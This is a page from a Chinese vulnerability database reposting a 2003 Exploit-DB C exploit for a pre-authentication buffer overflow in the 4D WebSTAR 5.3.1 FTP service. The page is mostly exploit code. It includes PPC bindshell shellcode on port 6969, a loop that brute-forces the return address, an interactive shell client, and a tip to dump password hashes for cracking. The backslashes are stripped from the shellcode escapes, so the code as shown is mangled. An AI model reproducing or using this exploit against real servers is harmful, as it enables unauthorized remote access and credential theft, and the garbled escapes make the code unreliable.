4D WebSTAR FTP Server Suite – Remote Buffer Overflow

4D WebSTAR FTP Server Suite – Remote Buffer Overflow

漏洞ID 1054161 漏洞类型
发布时间 2003-09-11 更新时间 2003-09-11
图片[1]-4D WebSTAR FTP Server Suite – Remote Buffer Overflow-安全小百科CVE编号 N/A
图片[2]-4D WebSTAR FTP Server Suite – Remote Buffer Overflow-安全小百科CNNVD-ID N/A
漏洞平台 OSX CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/96
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
/*

Remote Vulnerability in 4D WebSTAR Server Suite - Exploit
================================================

Date: 11.09.2003
Author: B-r00t. 2003.
Email: B-r00t blueyonder.co.uk

Reference: http://www.4d.com/products/webstar.html
Versions: 4D WebSTAR 5.3.1 (Latest) => VULNERABLE.
Tested: 4D WebSTAR 5.3.1 (Trial Version).

Exploit: 4DWS_ftp.c - On success a bindshell is spawned
on port 6969. Although the resulting shell is
UID 'webstart', it is usually possible to
execute 'nidump passwd .' to obtain the system
password hashes for cracking. 

Compile: gcc -o 4DWS_ftp 4DWS_ftp.c

Description: There is a pre authentication buffer overflow
that exists in the login mechanism of the WebSTAR
FTP service. See advisory for further details.

Remember Kiddiez ... An Apple A Day ...!!!!
*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <time.h>
#include <netdb.h>

// Defines
#define EXPLOIT "4DWS_ftp"
#define BINDSHELL_PORT 6969
#define FTP_PORT 21
#define MAXSIZE 1024

// Prototypes
int usage (void);
int get_connect (int port, char *host);
int send_sock (char *buff);
int read_sock (char *buff);
int check_bindshell(int port, char *host);

//Variables
int sock, port=21, lsb;
char evilbuff[MAXSIZE], temp[MAXSIZE];
char user[] = "USER 4D4D" "x0dx0a";
char retaddy[5], filler[MAXSIZE];
unsigned long int ret, loop;

int main (int argc, char *argv[])
{
char shellcode[] = //PPC forkin bindshell 6969 by B-r00t.2003.
"x7cxa5x2ax79x40x82xffxfdx7dx68x02xa6x3bxebx01x70"
"x39x80x01x70x3bxdfxffx88x7cxbex29xaex3bxdfxffx89"
"x7cxbex29xaex3bxdfxffx8ax7cxbex29xaex3bxdfxffx8b"
"x7cxbex29xaex38x6cxfex92x38x8cxfex91x38xacxfex96"
"x38x0cxfexf1x44xffxffx02x60x60x60x60x7cx67x1bx78"
"x38x9fxffx84x38xacxfexa0x38x0cxfexf8x44xffxffx02"
"x60x60x60x60x7cxe3x3bx78x38x8cxfex91x38x0cxfexfa"
"x44xffxffx02x60x60x60x60x7cxe3x3bx78x38x8cxfex90"
"x38xacxfex90x38x0cxfexaex44xffxffx02x60x60x60x60"
"x38x8cxfex90x38x0cxfexeax44xffxffx02x60x60x60x60"
"x38x8cxfex91x38x0cxfexeax44xffxffx02x60x60x60x60"
"x38x8cxfex92x38x0cxfexeax44xffxffx02x60x60x60x60"
"x38x0cxfex92x44xffxffx02x60x60x60x60x39x1fxffx83"
"x7cxa8x29xaex38x7fxffx7cx90x61xffxf8x90xa1xffxfc"
"x38x81xffxf8x38x0cxfexcbx44xffxffx02x41x41x41x41"
"x41x41x41x41x2fx62x69x6ex2fx73x68x58xffx02x1bx39"
"x41x41x41x41"; // Yu Cant Get This Stuff In Storez Man!!!

char nops[] =
"x60x60x60x60x60x60x60x60";

printf ("n%s by B-r00t <[email protected]>. (c) 2003.n", 
EXPLOIT);
printf ("nExploits the pre authentication buffer overflow in 
the");
printf ("nWebSTAR 5.3.1 FTP service.");

if (argc < 2)
usage ();

printf ("nPatience ...nn");

memset(filler, '', sizeof(filler));
memset(filler, 0x78, 173);
filler[0] = 'P';
filler[1] = 'A';
filler[2] = 'S';
filler[3] = 'S';
filler[4] = 0x20;

for (lsb=0; lsb<9; lsb+=4) {//Increase range if no succcess. 
for (loop=0xf018f504+lsb; loop<0xf028f505+lsb; loop+=0x1000)
{
ret=loop;
printf ("n[0x%x] ", ret);
retaddy[0] = (int)((ret & 0xff000000) >> 24);
retaddy[1] = (int)((ret & 0x00ff0000) >> 16);
retaddy[2] = (int)((ret & 0x0000ff00) >> 8);
retaddy[3] = (int) (ret & 0x000000ff);
retaddy[4] = '';

memset(evilbuff, '', sizeof(evilbuff));
strcpy (evilbuff, filler);
strcat (evilbuff, retaddy);
strcat (evilbuff, nops);
strcat (evilbuff, shellcode);
strcat (evilbuff, "x0dx0a");

if ((sock=socket(AF_INET, SOCK_STREAM, 6)) == -1)
{
perror(" Retrying! ");
loop-=0x1000;
sleep(2);
continue;
}

if (get_connect(FTP_PORT, argv[1]) ==-1)
{
perror(" Retrying! ");
loop-=0x1000;
sleep(2);
close(sock);
continue;
}
read_sock(temp);
send_sock (user);
read_sock(temp);
send_sock (evilbuff);
read_sock(temp);
close(sock);
sleep(3);// Let service respawn!

check_bindshell(BINDSHELL_PORT, argv[1]);
}}
printf("nnIf its still up... Go Again!nn");
exit(0);
}//End_Main


//Check For Bindshell 6969
int check_bindshell(int port, char *host)
{
fd_set rfds;
int sel=0, rd=0;
char *ptr = temp;
memset(temp, '', MAXSIZE);

if((sock=socket(AF_INET, SOCK_STREAM, 6))== -1)
{
perror("Socket Error.");
return -1;
}

if (get_connect(port, host) <0)
{ 
close (sock);
return -1;
}
else printf (" Yay~!naWo0tWo0t! ... We got a shell on 
%s!nn>", host);

// Start clean ..
fflush(stdin);
fflush(stdout);
fflush(stderr);

do {
FD_ZERO(&rfds);
FD_SET(0, &rfds);
FD_SET(sock, &rfds);
sel=select(sock+1, &rfds, NULL, NULL, NULL);
memset(temp, '', MAXSIZE);
if (sel) {

if(FD_ISSET(sock, &rfds)) {
rd=(read_sock(temp));
printf("%s", temp);
}
if(FD_ISSET(0, &rfds)) {
rd=(read(0, ptr, MAXSIZE-1));
send_sock(temp);
}
}
} while( sel && rd );
close(sock);
printf ("nShell Aborted!n");
exit(0);
} 


//Do Socket Connect
int get_connect (int port, char *host)
{
struct sockaddr_in dest_addr;
dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(port);
if (! inet_aton(host, &(dest_addr.sin_addr)))
return -1;

memset( &(dest_addr.sin_zero), '', 8);
if (connect (sock, (struct sockaddr *)&dest_addr, sizeof 
(struct sockaddr)) == -1)
{
printf(" Fail!");
close(sock);
return -1;
}
else return 0;
}

//Send Data To Socket
int send_sock (char *buff)
{
int bytes = 0;
bytes = (send (sock, buff, strlen(buff), 0));
if (bytes == -1) 
{
perror("Send Error.");
close(sock);
return -1;
}
else return bytes;
}

//Read Data From Socket
int read_sock (char *buff)
{
int bytes = 0;
bytes = (recv (sock, buff, MAXSIZE-1, 0));
if (bytes == -1) 
{
perror ("Recv Error.");
close(sock);
return -1;
}
else return bytes;
}

//Usage Message
int usage (void)
{
printf ("nnUsage: %s [IP_ADDRESS] ", EXPLOIT);
printf ("nExample: %s 10.0.0.1 nn", EXPLOIT);
exit (-1);
}

// milw0rm.com [2003-09-11]

相关推荐: HP JetDirect Printers FTP Service File Printing Vulnerability

HP JetDirect Printers FTP Service File Printing Vulnerability 漏洞ID 1100457 漏洞类型 Configuration Error 发布时间 2003-04-23 更新时间 2003-04-2…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享